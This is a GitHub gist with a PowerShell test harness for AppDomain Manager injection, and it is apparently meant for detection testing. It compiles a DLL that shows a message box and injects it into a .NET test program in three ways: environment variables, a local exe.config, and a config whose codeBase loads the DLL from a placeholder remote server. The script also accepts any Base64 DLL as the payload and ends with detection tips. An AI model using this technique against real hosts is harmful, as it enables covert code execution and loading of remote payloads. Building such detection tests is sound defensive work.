Last active
January 30, 2026 18:34
-
-
Save secdev02/cd8f12acc201fc0a6273f3a8f93ae415 to your computer and use it in GitHub Desktop.
Quick and simple test harness
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # AppDomain Manager Injection Detection Tests | |
| # This script tests three methods of AppDomain Manager injection | |
| param( | |
| [string]$TestExecutable = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", | |
| [string]$RemoteServer = "http://yourserver.com/tasks.dll", | |
| [string]$Base64RemoteDll = "" | |
| ) | |
| $ErrorActionPreference = "Stop" | |
| # Define paths | |
| $ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path | |
| $DllName = "tasks.dll" | |
| $DllPath = Join-Path $ScriptDir $DllName | |
| $RemoteDllPath = Join-Path $ScriptDir "tasks_remote.dll" | |
| # Create separate test directories for each test | |
| $Test1Dir = Join-Path $ScriptDir "Test1_EnvVar" | |
| $Test2Dir = Join-Path $ScriptDir "Test2_LocalConfig" | |
| $Test3Dir = Join-Path $ScriptDir "Test3_RemoteConfig" | |
| # C# source code for AppDomainManager | |
| $CSharpCode = @" | |
| using System; | |
| using System.EnterpriseServices; | |
| using System.Runtime.InteropServices; | |
| public sealed class MyAppDomainManager : AppDomainManager | |
| { | |
| public override void InitializeNewDomain(AppDomainSetup appDomainInfo) | |
| { | |
| System.Windows.Forms.MessageBox.Show("AppDomain - KaBoom!"); | |
| return; | |
| } | |
| } | |
| "@ | |
| # Simple test application C# code | |
| $TestAppCode = @" | |
| using System; | |
| class Program | |
| { | |
| static void Main(string[] args) | |
| { | |
| Console.WriteLine("Test application started"); | |
| Console.WriteLine("AppDomain: " + AppDomain.CurrentDomain.FriendlyName); | |
| Console.WriteLine("Press any key to exit..."); | |
| Console.ReadKey(); | |
| } | |
| } | |
| "@ | |
| Write-Host "==================================" -ForegroundColor Cyan | |
| Write-Host "AppDomain Manager Injection Tests" -ForegroundColor Cyan | |
| Write-Host "==================================" -ForegroundColor Cyan | |
| Write-Host "" | |
| # Process Base64 Remote DLL if provided | |
| if ($Base64RemoteDll -ne "") { | |
| Write-Host "[*] Processing Base64 encoded remote DLL..." -ForegroundColor Yellow | |
| try { | |
| # Decode Base64 string to byte array | |
| $DllBytes = [System.Convert]::FromBase64String($Base64RemoteDll) | |
| # Write bytes to file | |
| [System.IO.File]::WriteAllBytes($RemoteDllPath, $DllBytes) | |
| Write-Host "[+] Remote DLL decoded and saved to: $RemoteDllPath" -ForegroundColor Green | |
| Write-Host "[+] File size: $($DllBytes.Length) bytes" -ForegroundColor Green | |
| # Verify the file was written correctly | |
| if (Test-Path $RemoteDllPath) { | |
| $FileInfo = Get-Item $RemoteDllPath | |
| Write-Host "[+] File verification successful - Size on disk: $($FileInfo.Length) bytes" -ForegroundColor Green | |
| } | |
| else { | |
| Write-Host "[-] Warning: File was not found after writing" -ForegroundColor Red | |
| } | |
| } | |
| catch { | |
| Write-Host "[-] Failed to decode Base64 DLL: $_" -ForegroundColor Red | |
| Write-Host "[!] Continuing with compilation of standard DLL..." -ForegroundColor Yellow | |
| $RemoteDllPath = $DllPath | |
| } | |
| Write-Host "" | |
| } | |
| else { | |
| Write-Host "[*] No Base64 remote DLL provided, will use compiled DLL for Test 3" -ForegroundColor Yellow | |
| $RemoteDllPath = $DllPath | |
| Write-Host "" | |
| } | |
| # Step 1: Compile the malicious DLL | |
| Write-Host "[*] Step 1: Compiling AppDomainManager DLL..." -ForegroundColor Yellow | |
| $CscPath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" | |
| if (-not (Test-Path $CscPath)) { | |
| $CscPath = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" | |
| } | |
| if (-not (Test-Path $CscPath)) { | |
| Write-Host "[-] C# compiler not found at expected locations" -ForegroundColor Red | |
| exit 1 | |
| } | |
| # Save C# code to temporary file | |
| $CsFile = Join-Path $ScriptDir "tasks.cs" | |
| $CSharpCode | Out-File -FilePath $CsFile -Encoding ASCII | |
| # Compile DLL | |
| $CompileArgs = "/target:library /out:$DllPath /reference:System.Windows.Forms.dll $CsFile" | |
| $CompileProcess = Start-Process -FilePath $CscPath -ArgumentList $CompileArgs -Wait -PassThru -NoNewWindow | |
| if ($CompileProcess.ExitCode -eq 0) { | |
| Write-Host "[+] DLL compiled successfully: $DllPath" -ForegroundColor Green | |
| $CompiledDllInfo = Get-Item $DllPath | |
| Write-Host "[+] Compiled DLL size: $($CompiledDllInfo.Length) bytes" -ForegroundColor Green | |
| } else { | |
| Write-Host "[-] Failed to compile DLL" -ForegroundColor Red | |
| exit 1 | |
| } | |
| Write-Host "" | |
| # =========================================== | |
| # TEST 1: Environment Variable Method | |
| # =========================================== | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| Write-Host "TEST 1: Environment Variable Method" -ForegroundColor Cyan | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| # Create Test 1 directory | |
| if (-not (Test-Path $Test1Dir)) { | |
| New-Item -ItemType Directory -Path $Test1Dir | Out-Null | |
| } | |
| # Compile test application for Test 1 | |
| Write-Host "[*] Compiling test application for Test 1..." -ForegroundColor Yellow | |
| $Test1AppCs = Join-Path $Test1Dir "testapp.cs" | |
| $Test1Exe = Join-Path $Test1Dir "testapp.exe" | |
| $TestAppCode | Out-File -FilePath $Test1AppCs -Encoding ASCII | |
| $Test1CompileArgs = "/out:$Test1Exe $Test1AppCs" | |
| $Test1CompileProcess = Start-Process -FilePath $CscPath -ArgumentList $Test1CompileArgs -Wait -PassThru -NoNewWindow | |
| if ($Test1CompileProcess.ExitCode -eq 0) { | |
| Write-Host "[+] Test 1 application compiled successfully" -ForegroundColor Green | |
| } else { | |
| Write-Host "[-] Failed to compile test application" -ForegroundColor Red | |
| exit 1 | |
| } | |
| # Copy DLL to Test 1 directory (same folder as exe) | |
| $Test1Dll = Join-Path $Test1Dir $DllName | |
| Copy-Item $DllPath -Destination $Test1Dll -Force | |
| Write-Host "[+] DLL copied to Test 1 directory: $Test1Dll" -ForegroundColor Green | |
| Write-Host "[*] Setting environment variables for AppDomain Manager injection..." -ForegroundColor Yellow | |
| # Set environment variables | |
| $env:APPDOMAIN_MANAGER_ASM = "tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" | |
| $env:APPDOMAIN_MANAGER_TYPE = "MyAppDomainManager" | |
| $env:COMPLUS_Version = "v4.0.30319" | |
| Write-Host "[+] Environment variables set:" -ForegroundColor Green | |
| Write-Host " APPDOMAIN_MANAGER_ASM = $env:APPDOMAIN_MANAGER_ASM" | |
| Write-Host " APPDOMAIN_MANAGER_TYPE = $env:APPDOMAIN_MANAGER_TYPE" | |
| Write-Host " COMPLUS_Version = $env:COMPLUS_Version" | |
| Write-Host "" | |
| Write-Host "[*] Test 1 Directory Contents:" -ForegroundColor Yellow | |
| Get-ChildItem $Test1Dir | ForEach-Object { Write-Host " $_" -ForegroundColor White } | |
| Write-Host "" | |
| Write-Host "[*] Launching test application (should trigger injection via environment variables)..." -ForegroundColor Yellow | |
| Write-Host "[!] Press any key in the test application window to continue..." -ForegroundColor Magenta | |
| Start-Process -FilePath $Test1Exe -Wait -WorkingDirectory $Test1Dir | |
| # Clean up environment variables | |
| Remove-Item Env:\APPDOMAIN_MANAGER_ASM -ErrorAction SilentlyContinue | |
| Remove-Item Env:\APPDOMAIN_MANAGER_TYPE -ErrorAction SilentlyContinue | |
| Remove-Item Env:\COMPLUS_Version -ErrorAction SilentlyContinue | |
| Write-Host "[+] Test 1 completed. Environment variables cleaned up." -ForegroundColor Green | |
| Write-Host "" | |
| # =========================================== | |
| # TEST 2: Local exe.config Method | |
| # =========================================== | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| Write-Host "TEST 2: Local exe.config Method" -ForegroundColor Cyan | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| # Create Test 2 directory | |
| if (-not (Test-Path $Test2Dir)) { | |
| New-Item -ItemType Directory -Path $Test2Dir | Out-Null | |
| } | |
| # Compile test application for Test 2 | |
| Write-Host "[*] Compiling test application for Test 2..." -ForegroundColor Yellow | |
| $Test2AppCs = Join-Path $Test2Dir "testapp.cs" | |
| $Test2Exe = Join-Path $Test2Dir "testapp.exe" | |
| $TestAppCode | Out-File -FilePath $Test2AppCs -Encoding ASCII | |
| $Test2CompileArgs = "/out:$Test2Exe $Test2AppCs" | |
| $Test2CompileProcess = Start-Process -FilePath $CscPath -ArgumentList $Test2CompileArgs -Wait -PassThru -NoNewWindow | |
| if ($Test2CompileProcess.ExitCode -eq 0) { | |
| Write-Host "[+] Test 2 application compiled successfully" -ForegroundColor Green | |
| } else { | |
| Write-Host "[-] Failed to compile test application" -ForegroundColor Red | |
| exit 1 | |
| } | |
| # Copy DLL to Test 2 directory (same folder as exe) | |
| $Test2Dll = Join-Path $Test2Dir $DllName | |
| Copy-Item $DllPath -Destination $Test2Dll -Force | |
| Write-Host "[+] DLL copied to Test 2 directory: $Test2Dll" -ForegroundColor Green | |
| Write-Host "[*] Creating local config file..." -ForegroundColor Yellow | |
| $LocalConfigPath = $Test2Exe + ".config" | |
| $LocalConfigContent = @" | |
| <?xml version="1.0" encoding="utf-8" ?> | |
| <configuration> | |
| <runtime> | |
| <appDomainManagerAssembly value="tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" /> | |
| <appDomainManagerType value="MyAppDomainManager" /> | |
| </runtime> | |
| </configuration> | |
| "@ | |
| $LocalConfigContent | Out-File -FilePath $LocalConfigPath -Encoding ASCII | |
| Write-Host "[+] Config file created: $LocalConfigPath" -ForegroundColor Green | |
| Write-Host "" | |
| Write-Host "[*] Test 2 Directory Contents:" -ForegroundColor Yellow | |
| Get-ChildItem $Test2Dir | ForEach-Object { Write-Host " $_" -ForegroundColor White } | |
| Write-Host "" | |
| Write-Host "[*] Launching test application (should trigger injection via local config)..." -ForegroundColor Yellow | |
| Write-Host "[!] Press any key in the test application window to continue..." -ForegroundColor Magenta | |
| Start-Process -FilePath $Test2Exe -Wait -WorkingDirectory $Test2Dir | |
| Write-Host "[+] Test 2 completed." -ForegroundColor Green | |
| Write-Host "" | |
| # =========================================== | |
| # TEST 3: Remote Assembly exe.config Method | |
| # =========================================== | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| Write-Host "TEST 3: Remote Assembly exe.config Method" -ForegroundColor Cyan | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| # Create Test 3 directory | |
| if (-not (Test-Path $Test3Dir)) { | |
| New-Item -ItemType Directory -Path $Test3Dir | Out-Null | |
| } | |
| # Compile test application for Test 3 | |
| Write-Host "[*] Compiling test application for Test 3..." -ForegroundColor Yellow | |
| $Test3AppCs = Join-Path $Test3Dir "testapp.cs" | |
| $Test3Exe = Join-Path $Test3Dir "testapp.exe" | |
| $TestAppCode | Out-File -FilePath $Test3AppCs -Encoding ASCII | |
| $Test3CompileArgs = "/out:$Test3Exe $Test3AppCs" | |
| $Test3CompileProcess = Start-Process -FilePath $CscPath -ArgumentList $Test3CompileArgs -Wait -PassThru -NoNewWindow | |
| if ($Test3CompileProcess.ExitCode -eq 0) { | |
| Write-Host "[+] Test 3 application compiled successfully" -ForegroundColor Green | |
| } else { | |
| Write-Host "[-] Failed to compile test application" -ForegroundColor Red | |
| exit 1 | |
| } | |
| Write-Host "[*] Creating remote assembly config file..." -ForegroundColor Yellow | |
| Write-Host "[!] NOTE: This requires hosting the DLL on a web server" -ForegroundColor Magenta | |
| Write-Host "[!] You can use Python's SimpleHTTPServer or IIS for this" -ForegroundColor Magenta | |
| Write-Host "[!] Current RemoteServer parameter: $RemoteServer" -ForegroundColor Magenta | |
| Write-Host "[!] DLL to host: $RemoteDllPath" -ForegroundColor Magenta | |
| $RemoteConfigPath = $Test3Exe + ".config" | |
| $RemoteConfigContent = @" | |
| <?xml version="1.0" encoding="utf-8" ?> | |
| <configuration> | |
| <runtime> | |
| <appDomainManagerAssembly value="tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" /> | |
| <appDomainManagerType value="MyAppDomainManager" /> | |
| <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> | |
| <dependentAssembly> | |
| <assemblyIdentity name="tasks" /> | |
| <codeBase version="0.0.0.0" href="$RemoteServer" /> | |
| </dependentAssembly> | |
| </assemblyBinding> | |
| </runtime> | |
| </configuration> | |
| "@ | |
| $RemoteConfigContent | Out-File -FilePath $RemoteConfigPath -Encoding ASCII | |
| Write-Host "[+] Remote config file created: $RemoteConfigPath" -ForegroundColor Green | |
| # Explicitly do NOT copy the DLL to Test 3 directory - force remote loading | |
| Write-Host "[+] DLL intentionally NOT copied to Test 3 directory (testing remote loading)" -ForegroundColor Green | |
| Write-Host "" | |
| Write-Host "[*] Test 3 Directory Contents:" -ForegroundColor Yellow | |
| Get-ChildItem $Test3Dir | ForEach-Object { Write-Host " $_" -ForegroundColor White } | |
| Write-Host "" | |
| Write-Host "[*] To test remote loading:" -ForegroundColor Yellow | |
| Write-Host " 1. Host the DLL on a web server" -ForegroundColor White | |
| Write-Host " File to host: $RemoteDllPath" -ForegroundColor Gray | |
| Write-Host "" | |
| Write-Host " 2. Example: Start web server in script directory:" -ForegroundColor White | |
| Write-Host " cd $ScriptDir" -ForegroundColor Gray | |
| Write-Host " python -m http.server 8000" -ForegroundColor Gray | |
| Write-Host "" | |
| Write-Host " 3. Then access with URL like:" -ForegroundColor White | |
| if ($Base64RemoteDll -ne "") { | |
| $RemoteDllFilename = Split-Path $RemoteDllPath -Leaf | |
| Write-Host " http://localhost:8000/$RemoteDllFilename" -ForegroundColor Gray | |
| } | |
| else { | |
| Write-Host " http://localhost:8000/tasks.dll" -ForegroundColor Gray | |
| } | |
| Write-Host "" | |
| Write-Host "[?] Do you want to launch the test application now? (Y/N)" -ForegroundColor Yellow | |
| $Response = Read-Host | |
| if ($Response -eq "Y" -or $Response -eq "y") { | |
| Write-Host "[*] Launching test application (should trigger injection via remote config)..." -ForegroundColor Yellow | |
| Write-Host "[!] This will only work if DLL is hosted at: $RemoteServer" -ForegroundColor Magenta | |
| Write-Host "[!] Press any key in the test application window to continue..." -ForegroundColor Magenta | |
| Start-Process -FilePath $Test3Exe -Wait -WorkingDirectory $Test3Dir | |
| Write-Host "[+] Test 3 completed." -ForegroundColor Green | |
| } else { | |
| Write-Host "[*] Test 3 skipped." -ForegroundColor Yellow | |
| } | |
| Write-Host "" | |
| # Summary | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| Write-Host "Test Summary" -ForegroundColor Cyan | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| Write-Host "[+] All tests completed!" -ForegroundColor Green | |
| Write-Host "" | |
| Write-Host "Test Directories Created:" -ForegroundColor Yellow | |
| Write-Host " - Test 1 (Environment Variable): $Test1Dir" | |
| Write-Host " - Test 2 (Local Config): $Test2Dir" | |
| Write-Host " - Test 3 (Remote Config): $Test3Dir" | |
| Write-Host "" | |
| Write-Host "Files created:" -ForegroundColor Yellow | |
| Write-Host " - Malicious DLL (master): $DllPath" | |
| if ($Base64RemoteDll -ne "" -and (Test-Path $RemoteDllPath)) { | |
| Write-Host " - Remote DLL (from Base64): $RemoteDllPath" | |
| } | |
| Write-Host "" | |
| Write-Host "Test 1 files (exe + dll + no config):" -ForegroundColor Yellow | |
| Write-Host " - $Test1Exe" | |
| Write-Host " - $Test1Dll" | |
| Write-Host "" | |
| Write-Host "Test 2 files (exe + dll + config):" -ForegroundColor Yellow | |
| Write-Host " - $Test2Exe" | |
| Write-Host " - $Test2Dll" | |
| Write-Host " - $LocalConfigPath" | |
| Write-Host "" | |
| Write-Host "Test 3 files (exe + config, NO dll):" -ForegroundColor Yellow | |
| Write-Host " - $Test3Exe" | |
| Write-Host " - $RemoteConfigPath" | |
| Write-Host " - DLL to host remotely: $RemoteDllPath" | |
| Write-Host "" | |
| Write-Host "Detection Tips:" -ForegroundColor Yellow | |
| Write-Host " 1. Monitor for APPDOMAIN_MANAGER_* environment variables" | |
| Write-Host " 2. Scan for .exe.config files with appDomainManager* entries" | |
| Write-Host " 3. Monitor for suspicious DLLs loaded from unusual locations" | |
| Write-Host " 4. Watch for COMPLUS_* environment variables" | |
| Write-Host " 5. Monitor network connections from .NET applications to external DLL sources" | |
| Write-Host " 6. Check for codeBase elements in .config files pointing to remote URLs" | |
| Write-Host "" | |
| # Show Base64 conversion instructions if not provided | |
| if ($Base64RemoteDll -eq "") { | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| Write-Host "Base64 DLL Encoding" -ForegroundColor Cyan | |
| Write-Host "==========================================="-ForegroundColor Cyan | |
| Write-Host "[*] To use a custom Base64-encoded DLL for Test 3:" -ForegroundColor Yellow | |
| Write-Host "" | |
| Write-Host " Convert your DLL to Base64:" -ForegroundColor White | |
| Write-Host " `$bytes = [System.IO.File]::ReadAllBytes('C:\path\to\your.dll')" -ForegroundColor Gray | |
| Write-Host " `$base64 = [System.Convert]::ToBase64String(`$bytes)" -ForegroundColor Gray | |
| Write-Host " Write-Host `$base64" -ForegroundColor Gray | |
| Write-Host "" | |
| Write-Host " Then run this script with:" -ForegroundColor White | |
| Write-Host " .\Test-AppDomainInjection.ps1 -Base64RemoteDll `"YOUR_BASE64_STRING`"" -ForegroundColor Gray | |
| Write-Host "" | |
| } | |
| # Clean up source files | |
| Write-Host "[*] Cleaning up temporary source files..." -ForegroundColor Yellow | |
| Remove-Item $CsFile -Force -ErrorAction SilentlyContinue | |
| Remove-Item $Test1AppCs -Force -ErrorAction SilentlyContinue | |
| Remove-Item $Test2AppCs -Force -ErrorAction SilentlyContinue | |
| Remove-Item $Test3AppCs -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] Cleanup completed" -ForegroundColor Green | |
| Write-Host "" | |
| Write-Host "[*] Test script completed!" -ForegroundColor Green | |
| Write-Host "" |
Comments are disabled for this gist.